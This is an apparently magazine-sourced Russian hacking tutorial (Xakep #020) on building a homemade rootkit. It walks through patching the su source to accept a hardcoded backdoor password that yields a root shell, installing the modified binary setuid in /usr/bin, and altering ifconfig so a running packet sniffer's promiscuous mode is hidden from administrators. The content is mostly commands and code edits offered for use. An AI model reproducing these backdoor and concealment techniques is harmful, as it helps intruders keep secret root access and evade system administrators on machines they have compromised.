Слепой админ

Xakep, номер #020, стр. 020-056-3


Бинарики. -)

Давай теперь попробуем сделать что-нибудь с программой

su. Накодим так, чтобы мы могли суидиться на рута со

своим паролем стандартным.

Процедура в принципе та же, что и с логином.

И чтоб не повторяться, su мы переделаем немного по-другому. -)

bash#whereis su.c

su:/usr/bin/su /usr/share/man/man1/su.1.gz /usr/src/usr.bin/su

bash#

Топаем в папку /usr/src/usr.bin/su .

Редактируем Makefile.

В строку, начинающуюся с CFLAGS, добавим флаг

-g3

компилируем (из-под рута) и запускаем su (запускать нужно из-под

обычного пользователя)...

bash#make

Отчмодь su с флагом Set user ID on execution .

И потом из-под обычного пользователя вводи

mal$cd /usr/src/usr.bin/su

mal$./su

Password:

Так, ну тут нам тоже потребуется найти функцию, в которой сверяется

Пароль, введенный юзверем, с паролем, который в базе данных (файле паролей).

Ну что, открываем файл su.c (из-под рута, естественно) -) и ищем там строку

Passwd:

Упс, вот я нашел такую интересную строчку: -)

p = getpass("Password:");

Заменю-ка я ее на... эээ... допустим...

p = getpass("Loh:");

Сохраню и откомпилю su заново. -)

bash#rm su

bash#rm *.o

bash#make

не забудь отчмодить с флагом Set user ID on execution .

И из-под обычного пользователя грузим:

mal$./su

Password:

Опа, не изменилась надпись... Хм... Ладно, не впервой, -) ща разберемся...

Лезем опять в Makefile ...

Удаляем оттуда на фиг строку

COPTS+= -DSKEY

Компилим и чмодим su заново...

Запускаем:

mal$./su

Loh:

Вот где собака порылась... стираем su и su.o

и лезем опять в su.c.

Вставим сразу перед функцией main() массив с нашим паролем:

char blabla[]="satan";

Теперь доходим до строки

p=getpass("Loh:");

Спускаемся на пару строк ниже... ищем такую

байду

#ifdef KERBEROS

.....................(здесь бадяга разная)

#endif

{

И после этой фигурной скобки вставляем

if(strcmp(p,blabla)!=NULL)

{

потом спускаемся еще на пару строк ниже... находим:

exit(1);

и после нее пихаем еще одну фигурную скобку.

}

Сохраняем... компилируем... чмодим... и пробуем. -)

mal$./su

Loh:satan

bash#id

uid=0(root) gid=0(wheel) groups=0(wheel)

Все. -) Теперь заменим в su.c Loh на Passwd

и откомпилируем заново. Правильно чмодим и кидаем

в

/usr/bin/ -)

Если ты собираешься запустить на тачке сниффер,

то не помешало бы переписать ifconfig.

Ведь когда ты запускаешь сниффер, он ставит

сетевуху в promisc mode. А админы очень часто

проверяют состояние сетевых девайсов командой

ifconfig-a.

Так вот, если зло-админ посмотрит ifconfig,

то там твой сниффер и засветится. Будет написано,

что карточка в режиме promisc.

А переписать эту прогу можно практически за одну минуту.

bash#whereis ifconfig.c

ifconfig: /sbin/ifconfig /usr/src/sbin/ifconfig

bash#

Валим в /usr/src/sbin/ifconfig .

Открываем ifconfig.c .

Находим там

#define IFFBITS \

"\020\1UP.......... и так далее.

Стираем там слово PROMISC на фиг и сохраняем исходник.

Компилируем и кидаем куда надо. -)

bash#make

bash#mv ifconfig /usr/sbin/

Все.

Вот, в общем-то, и набор таких переписанных прог

можно назвать руткитом. -) А руткит куда круче, когда

написал его ты САМ!!!

Назад на стр. 020-056-2  Содержание